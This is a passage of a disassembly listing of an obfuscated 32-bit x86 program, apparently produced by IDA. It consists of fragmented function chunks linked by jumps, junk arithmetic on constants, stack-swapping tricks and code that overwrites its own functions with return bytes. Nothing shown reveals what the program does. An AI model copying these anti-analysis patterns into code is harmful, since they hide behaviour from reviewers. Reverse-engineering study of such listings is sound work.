		mov	[ebp-4], eax

loc_445828:				; CODE XREF: sub_43DF66:loc_439F61j
					; sub_43C638+3CAFj ...
		mov	eax, [ebp-1Ch]
		call	sub_43B051
		mov	[ebp-8], eax
		jmp	loc_43C588
; END OF FUNCTION CHUNK	FOR sub_43C638
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_41. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D3D7

loc_445839:				; CODE XREF: sub_44D3D7-35FDj
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_44D3D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_44583E:				; CODE XREF: sub_43B0B7+E27Bj
		jmp	loc_44E107
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DAE4

loc_445843:				; CODE XREF: sub_44DAE4-AE2Fj
		jmp	loc_4376F2
; END OF FUNCTION CHUNK	FOR sub_44DAE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E6BD

loc_445848:				; CODE XREF: sub_43E6BD:loc_442FF2j
		push	offset loc_445E40
		jmp	loc_44BC97
; END OF FUNCTION CHUNK	FOR sub_43E6BD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_172. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_148. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44283A

loc_445854:				; CODE XREF: sub_44283A+11j
		and	edx, 54527966h
		add	edx, 0EBF1C695h
		xchg	edx, [esp+4+var_4]
		jmp	loc_43F86E
; END OF FUNCTION CHUNK	FOR sub_44283A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FC25

loc_445868:				; CODE XREF: sub_43FC25:loc_43ED56j
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_43A8D8
		or	eax, eax
		jmp	loc_441BDD
; END OF FUNCTION CHUNK	FOR sub_43FC25
; ---------------------------------------------------------------------------
		mov	[ebx], ebp
		test	ebx, ebp
		jmp	loc_44A6A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_445884:				; CODE XREF: sub_43EAEE+3A44j
		jz	loc_44799A
		jmp	loc_44296A
; END OF FUNCTION CHUNK	FOR sub_43EAEE

; =============== S U B	R O U T	I N E =======================================



sub_44588F	proc near		; DATA XREF: kgbikm34:00441285o

; FUNCTION CHUNK AT 0043E323 SIZE 00000005 BYTES

		lea	eax, nullsub_337
		mov	byte ptr [eax],	0C3h
		jmp	loc_43E323
sub_44588F	endp


; =============== S U B	R O U T	I N E =======================================



sub_44589D	proc near		; CODE XREF: sub_41711A+11Dp
					; sub_44589D+5j
					; DATA XREF: ...
		call	sub_4458AD
		jmp	ds:off_41E118
sub_44589D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4396AA

loc_4458A8:				; CODE XREF: sub_4396AA+D248j
		jmp	sub_44CA4F
; END OF FUNCTION CHUNK	FOR sub_4396AA

; =============== S U B	R O U T	I N E =======================================



sub_4458AD	proc near		; CODE XREF: kgbikm34:0043C281j
					; sub_443675+7j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00438ED3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043B06A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043C286 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043CE57 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E318 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440DDE SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0044865C SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		mov	edx, eax
		jmp	loc_43B06A
sub_4458AD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_4458B7:				; CODE XREF: kgbikm34:loc_43E8A4j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_4458B8:				; CODE XREF: sub_43D494+DEA1j
		jmp	loc_445DCC
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------

loc_4458BD:				; CODE XREF: kgbikm34:0043CC3Ej
		xchg	esi, [esp]
		push	edi
		pushf
		push	0CA2D9917h
		pop	edi
		jmp	loc_44B9CF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_290. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441CC2

loc_4458CE:				; CODE XREF: sub_441CC2-183Fj
		jmp	nullsub_74
; END OF FUNCTION CHUNK	FOR sub_441CC2

; =============== S U B	R O U T	I N E =======================================



sub_4458D3	proc near		; DATA XREF: kgbikm34:004433B1o
		push	1943C2DBh
		pop	eax
		sub	eax, 0D41EBCE6h
		and	eax, 0BA3792C8h
		or	eax, 0E2FC32E9h
		sub	eax, 0F671E0E4h
		add	eax, 13B89033h
		jmp	loc_44B2E2
sub_4458D3	endp

; ---------------------------------------------------------------------------
		or	ebp, 160085DDh
		jmp	loc_446CF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447135

loc_445907:				; CODE XREF: sub_447135:loc_43B953j
		push	40DB4713h
		pop	ecx
		xor	ecx, 0F3389A79h
; END OF FUNCTION CHUNK	FOR sub_447135
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_445913:				; CODE XREF: sub_43D494:loc_43A297j
		add	ecx, 4C5F9BF2h
		xchg	ecx, [esp+0]
		jmp	sub_43F3F8
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------

loc_445921:				; CODE XREF: kgbikm34:0043C4A8j
		mov	edi, ebp
		pushf
		jmp	loc_4445E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4479B1

loc_445929:				; CODE XREF: sub_4479B1:loc_4479C5j
		mov	ebp, edx
		xchg	ebp, [esp+0]
		push	eax
		call	sub_44BAC8

loc_445934:				; CODE XREF: sub_43ACD5+13569j
		jmp	loc_437734
; END OF FUNCTION CHUNK	FOR sub_4479B1
; ---------------------------------------------------------------------------

loc_445939:				; CODE XREF: kgbikm34:00443CCEj
		jmp	loc_4435B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442F5A

loc_44593E:				; CODE XREF: sub_442F5A+Ej
		jmp	loc_44893D
; END OF FUNCTION CHUNK	FOR sub_442F5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C95

loc_445943:				; CODE XREF: sub_448C95-9805j
		jmp	loc_43865E
; END OF FUNCTION CHUNK	FOR sub_448C95
; ---------------------------------------------------------------------------

loc_445948:				; CODE XREF: kgbikm34:0043C996j
		jmp	loc_4430F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_44594D:				; CODE XREF: sub_43741E+1461j
		jmp	loc_444A9C
; END OF FUNCTION CHUNK	FOR sub_43741E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E58D

loc_445952:				; CODE XREF: sub_43E58D-3B56j
		jnz	loc_44C103
; END OF FUNCTION CHUNK	FOR sub_43E58D
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_445958:				; CODE XREF: sub_43BCAD+C4F9j
		jmp	nullsub_118
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------
		adc	ebp, eax
		mov	eax, 9B08E6BBh
		jmp	loc_43F0CB
; ---------------------------------------------------------------------------

loc_445969:				; DATA XREF: kgbikm34:0043D4CBo
		call	sub_43BF6F
		push	ecx
		push	8FCE1FA5h
		pop	ecx
		rol	ecx, 1Fh
		and	ecx, 57E4116Ah
		jmp	loc_444C0D
; ---------------------------------------------------------------------------

loc_445983:				; CODE XREF: kgbikm34:0043C3ECj
		jns	loc_44C590
		sbb	eax, ebp
		xchg	edi, ebp
		pushf
		jmp	loc_449C26

; =============== S U B	R O U T	I N E =======================================



sub_445993	proc near		; CODE XREF: sub_4407E7+5C11p
					; kgbikm34:0044BB61j

; FUNCTION CHUNK AT 0043D546 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00443998 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [eax]
		mov	esp, ebp
		jmp	loc_443998
sub_445993	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4437D8

loc_4459A0:				; CODE XREF: sub_4437D8:loc_445630j
		pop	ecx
		mov	eax, [eax]
		push	offset loc_43A981
		jmp	loc_43D618
; END OF FUNCTION CHUNK	FOR sub_4437D8
; ---------------------------------------------------------------------------

loc_4459AD:				; CODE XREF: kgbikm34:0043B727j
		retn
; ---------------------------------------------------------------------------

loc_4459AE:				; CODE XREF: kgbikm34:00441432j
		rol	eax, 16h
		add	eax, 5D76B1F8h
		xchg	eax, [esp]
		jmp	loc_44542E
; ---------------------------------------------------------------------------

loc_4459BF:				; DATA XREF: sub_448CA3:loc_446F9Co
		xchg	ebx, [esp]
		mov	esp, ebp
		pop	ebp
		push	2FBCDE1Ch
		jmp	loc_441B5C
; ---------------------------------------------------------------------------

loc_4459CF:				; CODE XREF: kgbikm34:loc_44994Aj
		xor	eax, 7BFDF6B2h
		push	ecx
		pushf
		push	78A37491h
		pop	ecx
		jmp	loc_43D957
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FF32

loc_4459E2:				; CODE XREF: sub_43FF32+BC6j
		jge	loc_447F68

loc_4459E8:				; CODE XREF: kgbikm34:0043EBD6j
		jmp	loc_438E02
; END OF FUNCTION CHUNK	FOR sub_43FF32
; ---------------------------------------------------------------------------

loc_4459ED:				; CODE XREF: kgbikm34:00438708j
		jmp	loc_43E669
; ---------------------------------------------------------------------------
		ror	ecx, 7
		rol	edi, 11h
		jge	loc_44B718
		jmp	loc_447F66
; ---------------------------------------------------------------------------
		call	sub_441DDE
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_445A08:				; CODE XREF: sub_43B1D6:loc_443380j
		jmp	sub_43C190
; END OF FUNCTION CHUNK	FOR sub_43B1D6

; =============== S U B	R O U T	I N E =======================================



sub_445A0D	proc near		; DATA XREF: sub_44AA5A-CC7Fo
		mov	edx, [esp+0]
		call	sub_43E608

loc_445A15:				; CODE XREF: sub_440EC9+ABAFj
		jmp	nullsub_297
sub_445A0D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440BA

loc_445A1A:				; CODE XREF: sub_4440BA+3j
		jmp	loc_4448A4
; END OF FUNCTION CHUNK	FOR sub_4440BA
; ---------------------------------------------------------------------------

loc_445A1F:				; CODE XREF: kgbikm34:00439AAFj
		and	esi, 0F298782Ch
		xor	esi, 11F1F235h
		cmp	esi, 0FC630BE8h
		jmp	loc_43F798
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_40. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_445A37:				; CODE XREF: kgbikm34:0044B140j
		jmp	nullsub_198
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E58D

loc_445A3C:				; CODE XREF: sub_43E58D+1Dj
		jmp	loc_43AA31
; END OF FUNCTION CHUNK	FOR sub_43E58D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_253. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F725

loc_445A42:				; CODE XREF: sub_43F725+Fj
		inc	dword ptr [ebp-28h]
		mov	eax, [ebp-28h]
		call	sub_444C7D

loc_445A4D:				; CODE XREF: kgbikm34:0044759Ej
		jmp	sub_44B6E1
; END OF FUNCTION CHUNK	FOR sub_43F725
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E52

loc_445A52:				; CODE XREF: sub_440E52+7j
		jmp	nullsub_307
; END OF FUNCTION CHUNK	FOR sub_440E52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DFE5

loc_445A57:				; CODE XREF: sub_43DFE5+Bj
		jmp	loc_44D17B
; END OF FUNCTION CHUNK	FOR sub_43DFE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439624

loc_445A5C:				; CODE XREF: sub_439624:loc_43AA64j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_439624

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445A5E	proc near		; CODE XREF: kgbikm34:004372BDp
					; sub_43C267:loc_43733Ej ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004372CD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FB89 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446DE8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044A143 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044A3A8 SIZE 00000015 BYTES

		push	ecx
		mov	ecx, ebp
		xchg	ecx, [esp+0]
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], eax
		jmp	loc_4372CD
sub_445A5E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_445A6F:				; CODE XREF: sub_43B0B7+3DD3j
		test	eax, edi
		jmp	loc_44B929
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CABC

loc_445A76:				; CODE XREF: sub_44CABC-65E8j
		call	sub_440F17
; END OF FUNCTION CHUNK	FOR sub_44CABC
; START	OF FUNCTION CHUNK FOR sub_443681

loc_445A7B:				; CODE XREF: sub_443681+1CB3j
		jmp	loc_439CB7
; END OF FUNCTION CHUNK	FOR sub_443681
; ---------------------------------------------------------------------------
		shr	edi, 0Bh
		jmp	loc_43E34B
; ---------------------------------------------------------------------------
		xchg	ecx, [ebx]
		jmp	loc_44B4F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB0F

loc_445A8F:				; CODE XREF: sub_43CB0F+6j
		pop	ebx
		and	ebx, 7DBF8388h
		xor	ebx, 9F8FC9E1h
		add	ebx, 75BB2612h
		jmp	loc_43B03B
; END OF FUNCTION CHUNK	FOR sub_43CB0F
; ---------------------------------------------------------------------------
		push	eax
		push	edx
		mov	edx, eax
		xchg	edx, [esp]
		push	eax
		jmp	loc_443DB4
; ---------------------------------------------------------------------------

loc_445AB4:				; CODE XREF: kgbikm34:loc_441666j
		xor	esi, 1A33FB38h
		and	esi, 3CF1D544h
		or	esi, 0E283AB68h
		cmp	esi, 76EA9581h
		jmp	loc_446990
; ---------------------------------------------------------------------------

loc_445AD1:				; DATA XREF: sub_4428DE+11o
		cmp	al, 0A4h
		jz	loc_44BB08
		jmp	loc_43EBD0
; ---------------------------------------------------------------------------

loc_445ADE:				; CODE XREF: kgbikm34:0043B7FCj
		push	0F768C289h
		xchg	edx, [esp]
		mov	esi, edx
		xor	edx, 0AA4F28F5h
		jmp	loc_44A440
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF40

loc_445AF3:				; CODE XREF: sub_43DF40+Aj
		rol	edi, 18h
		sub	edi, 159F1E45h
		add	edi, 449CA738h
		xchg	edi, [esp-4+arg_0]
		jmp	loc_44BBF8
; END OF FUNCTION CHUNK	FOR sub_43DF40
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	loc_437475
		jmp	loc_43919F
; ---------------------------------------------------------------------------
		push	esi
		push	0C53B5449h
		pop	esi
		sub	esi, ds:4000F0h
		call	sub_438AFB
; START	OF FUNCTION CHUNK FOR sub_4396AA

loc_445B29:				; CODE XREF: sub_4396AA+1j
		js	loc_43F57F
		mov	eax, [esp-4+arg_0]
		push	esi
		mov	esi, edx
		xchg	esi, [esp+0]
		jmp	loc_443EEA
; END OF FUNCTION CHUNK	FOR sub_4396AA
; ---------------------------------------------------------------------------

loc_445B3D:				; DATA XREF: sub_43A445+98F8o
		popf
		xchg	ebx, [esp]
		jmp	loc_43DCD3
; ---------------------------------------------------------------------------
		and	ebx, 76302A43h
		cmp	ebp, ecx
		jmp	loc_43C746
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_84. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_445B54:				; CODE XREF: kgbikm34:00443453j
		mov	ecx, [edi]
		jmp	loc_441983
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442B29

loc_445B5B:				; CODE XREF: sub_442B29+1Cj
		rol	eax, 1Fh
		add	eax, 49C3328h
		popf
		xchg	eax, [esp+0]
		jmp	sub_444BCC
; END OF FUNCTION CHUNK	FOR sub_442B29
; ---------------------------------------------------------------------------

loc_445B6D:				; CODE XREF: kgbikm34:0044913Fj
		inc	dword ptr [ebp-8]
; START	OF FUNCTION CHUNK FOR sub_44A9D8

loc_445B70:				; CODE XREF: sub_44A9D8:loc_43B53Bj
					; sub_44BF13+Aj
		mov	eax, [ebp-8]
		pop	ecx
		pop	ecx
		pop	ebp
		jmp	nullsub_217
; END OF FUNCTION CHUNK	FOR sub_44A9D8
; ---------------------------------------------------------------------------

loc_445B7B:				; CODE XREF: kgbikm34:0044406Cj
		sub	edi, 3B3D5A8Fh

; =============== S U B	R O U T	I N E =======================================



sub_445B81	proc near		; CODE XREF: kgbikm34:loc_44B382p

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]
		pop	edx
		xchg	eax, [esp-4+arg_0]
		call	sub_445D55
		mov	eax, 72B18749h
		call	sub_43BF6F
		jmp	sub_4429BC
sub_445B81	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440443

loc_445B9C:				; CODE XREF: sub_440443-61Aj
		mov	esi, [eax]

loc_445B9E:				; CODE XREF: sub_440443:loc_4428C5j
		push	offset loc_438D89
		jmp	loc_4391D6
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------

loc_445BA8:				; CODE XREF: kgbikm34:0044AAFBj
		jno	loc_43BC45
		mov	[ebp+0], eax
; START	OF FUNCTION CHUNK FOR sub_44A1A6

loc_445BB1:				; CODE XREF: sub_44A1A6:loc_4495B5j
		or	ecx, 0AE29BB93h
		add	ecx, 420621ADh
		mov	[ecx], eax
		pop	ecx
		lea	eax, nullsub_72
		jmp	loc_43ACDD
; END OF FUNCTION CHUNK	FOR sub_44A1A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CD5D

loc_445BCB:				; CODE XREF: sub_43CD5D+A51Bj
		mov	edx, ebp
		pop	ebp
		mov	eax, [esp+0]
		push	edx
		push	edx
		push	0F21D173Dh
		pop	edx
		jmp	loc_442B6F
; END OF FUNCTION CHUNK	FOR sub_43CD5D
; ---------------------------------------------------------------------------

loc_445BDE:				; CODE XREF: kgbikm34:0043F688j
		jle	loc_441742

; =============== S U B	R O U T	I N E =======================================



sub_445BE4	proc near		; CODE XREF: sub_44CF08-14AAAp

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		add	edi, 0EB3E79E2h
		xchg	edi, [esp-4+arg_0]
		jmp	sub_440F62
sub_445BE4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ds:off_41E210, eax
		jmp	loc_440A73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_445C01:				; CODE XREF: sub_43741E:loc_43A867j
					; sub_43741E+161F8j
		mov	eax, [ebp+var_4]
		call	sub_439624

loc_445C09:				; CODE XREF: sub_44DE70+15j
		jmp	loc_44C979
; END OF FUNCTION CHUNK	FOR sub_43741E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4391E0

loc_445C0E:				; CODE XREF: sub_4391E0+10F2Cj
		jmp	sub_4391E0
; END OF FUNCTION CHUNK	FOR sub_4391E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448546

loc_445C13:				; CODE XREF: sub_448546+1Cj
		jmp	loc_440466
; END OF FUNCTION CHUNK	FOR sub_448546
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CF41

loc_445C18:				; CODE XREF: sub_43CF41+15j
		jmp	loc_44899E
; END OF FUNCTION CHUNK	FOR sub_43CF41
; ---------------------------------------------------------------------------

loc_445C1D:				; CODE XREF: kgbikm34:004492E1j
		jb	loc_4478FB

loc_445C23:				; CODE XREF: kgbikm34:loc_448926j
		adc	ecx, ebp
		jmp	loc_44A944
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EA97

loc_445C2A:				; CODE XREF: sub_43EA97+E922j
		xchg	ecx, [esi]
		sub	ebp, 76B3AEB0h
		jmp	loc_446CC0
; END OF FUNCTION CHUNK	FOR sub_43EA97
; ---------------------------------------------------------------------------

locret_445C37:				; CODE XREF: kgbikm34:loc_443C33j
		retn
; ---------------------------------------------------------------------------

loc_445C38:				; CODE XREF: kgbikm34:00449028j
		jmp	loc_4373A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EFE3

loc_445C3D:				; CODE XREF: sub_43EFE3+6434j
		jmp	nullsub_242
; END OF FUNCTION CHUNK	FOR sub_43EFE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4407FD

loc_445C42:				; CODE XREF: sub_4407FD+Aj
		jmp	loc_44D53A
; END OF FUNCTION CHUNK	FOR sub_4407FD

; =============== S U B	R O U T	I N E =======================================



sub_445C47	proc near		; CODE XREF: kgbikm34:0044C95Dp
					; kgbikm34:0044DD1Ej

arg_0		= dword	ptr  4

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [esp-4+arg_0]
		push	edx
		push	offset loc_43EC0F
		jmp	nullsub_375
sub_445C47	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444681

loc_445C59:				; CODE XREF: sub_444681+67C5j
		sub	al, 99h
		push	1860CEB2h
		pop	edx
		sub	edx, 54DA878Eh
		cmp	edx, 661701BEh
		jmp	loc_447200
; END OF FUNCTION CHUNK	FOR sub_444681
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A1F9

loc_445C72:				; CODE XREF: sub_44A1F9-CEE3j
		test	ebp, ecx
		jmp	loc_44959B
; END OF FUNCTION CHUNK	FOR sub_44A1F9
; ---------------------------------------------------------------------------

loc_445C79:				; DATA XREF: sub_441D2F:loc_43EEBCo
		push	0B26EF3A3h
		pop	eax
		rol	eax, 18h
		add	eax, 0F6554CB0h
		xor	eax, 19116A2h
		sub	eax, 272A84F7h
		add	eax, 8BD82E52h
		jmp	loc_44852D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CE40

loc_445C9F:				; CODE XREF: sub_43CE40+82E9j
		rol	esi, 10h
		or	esi, 0BEBBB57Ch
		xor	esi, 54EF5436h
		add	esi, 14F3190Bh
		xchg	esi, [esp+8+var_8]
		jmp	sub_43B2CF
; END OF FUNCTION CHUNK	FOR sub_43CE40
; ---------------------------------------------------------------------------
		push	0C1DF0DCCh
		mov	edx, 4AD2DD86h
		jmp	loc_43B4C6

; =============== S U B	R O U T	I N E =======================================



sub_445CCB	proc near		; CODE XREF: sub_43F3C5+833Dj
					; sub_43ED16+E965p

; FUNCTION CHUNK AT 0043FB05 SIZE 00000011 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	edx
		call	sub_44627C
		push	0F7E24F50h
		pop	eax
		xor	eax, 72A4748Bh
		rol	eax, 2
		jmp	loc_43FB05
sub_445CCB	endp


; =============== S U B	R O U T	I N E =======================================



sub_445CE9	proc near		; CODE XREF: kgbikm34:0043E06Aj
					; sub_4445C7+5160p

; FUNCTION CHUNK AT 0044CC36 SIZE 00000010 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	eax, 0BDCEE561h
		mov	eax, [eax]
		jmp	loc_44CC36
sub_445CE9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_445CFA:				; CODE XREF: kgbikm34:00443EDAj
		mov	[esi], eax
		pop	esi
		lea	eax, sub_43D21A
		mov	byte ptr [eax],	0C3h
		jmp	loc_437443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D21A

loc_445D0B:				; CODE XREF: sub_43D21Aj
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edx
		jmp	loc_44BECD
; END OF FUNCTION CHUNK	FOR sub_43D21A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_165. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D686

loc_445D16:				; CODE XREF: sub_43D686+2E3Dj
		jmp	loc_4431C6
; END OF FUNCTION CHUNK	FOR sub_43D686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CC43

loc_445D1B:				; CODE XREF: sub_43CC43+Ej
		jmp	loc_44B62D
; END OF FUNCTION CHUNK	FOR sub_43CC43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437A6A

loc_445D20:				; CODE XREF: sub_437A6A:loc_44564Bj
		xor	eax, 95BDA778h
		push	esi
		pushf
		push	0DC23EEBCh
		pop	esi
		and	esi, 781F0777h
		jmp	loc_441CD1
; END OF FUNCTION CHUNK	FOR sub_437A6A
; ---------------------------------------------------------------------------

loc_445D39:				; CODE XREF: kgbikm34:004396F8j
					; kgbikm34:loc_44DFBDj
		add	ecx, esi
		not	ecx
		jmp	loc_4425B0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_200. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_103. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446779

loc_445D44:				; CODE XREF: sub_446779+3j
		jmp	loc_43D0C3
; END OF FUNCTION CHUNK	FOR sub_446779
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444BCC

loc_445D49:				; CODE XREF: sub_444BCC-1490j
		jmp	loc_446706
; END OF FUNCTION CHUNK	FOR sub_444BCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DD64

loc_445D4E:				; CODE XREF: sub_43DD64+364Aj
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_43DD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442F09

loc_445D50:				; CODE XREF: sub_442F09+3CBEj
		jmp	loc_4472DC
; END OF FUNCTION CHUNK	FOR sub_442F09

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445D55	proc near		; CODE XREF: sub_43D494:loc_438B20p
					; kgbikm34:0043904Ap ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00438885 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DDA0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00444BE3 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jmp	loc_438885
sub_445D55	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D21F

loc_445D64:				; CODE XREF: sub_44D21F:loc_448F23j
		inc	dword ptr [ebp-0Ch]
		dec	dword ptr [ebp-18h]
		jnz	loc_43F35C
		jmp	loc_437B06
; END OF FUNCTION CHUNK	FOR sub_44D21F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DFA4

loc_445D75:				; CODE XREF: sub_43DFA4-3F77j
					; kgbikm34:00441824j
		and	ebx, ecx
		cmp	edi, 97B1C6A3h
		jmp	loc_445704
; END OF FUNCTION CHUNK	FOR sub_43DFA4
; ---------------------------------------------------------------------------

loc_445D82:				; DATA XREF: sub_437954+4233o
		cmp	eax, [ebp-10h]
		jbe	loc_43D734
		jmp	loc_44D132
; ---------------------------------------------------------------------------

loc_445D90:				; DATA XREF: sub_44B2C1-DB0Ao
		add	eax, ebp
		call	sub_43F725
; START	OF FUNCTION CHUNK FOR sub_43C267

loc_445D97:				; CODE XREF: sub_43C267+7j
		jmp	loc_43C92E
; END OF FUNCTION CHUNK	FOR sub_43C267
; ---------------------------------------------------------------------------
		mov	[ebp+0], ecx
		or	ebx, ebp
		sbb	ebp, 27101F1h
; START	OF FUNCTION CHUNK FOR sub_43A179

loc_445DA7:				; CODE XREF: sub_43A179:loc_441CBAj
					; sub_4417B1:loc_4489ECj
		xor	edx, 0C272397Ah
		jmp	loc_440E95
; END OF FUNCTION CHUNK	FOR sub_43A179

; =============== S U B	R O U T	I N E =======================================



sub_445DB2	proc near		; DATA XREF: kgbikm34:00440009o
		push	6E8AAE5h
		pop	edx
		or	edx, 0B3239B1Ah
		add	edx, 4858A7FEh
		xchg	edx, [esp+0]
		jmp	sub_445A5E
sub_445DB2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_445DCC:				; CODE XREF: sub_43D494:loc_4458B8j
		add	eax, ebp
		add	eax, 0DAEA7B31h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_443946
		jmp	loc_4393BA
; END OF FUNCTION CHUNK	FOR sub_43D494
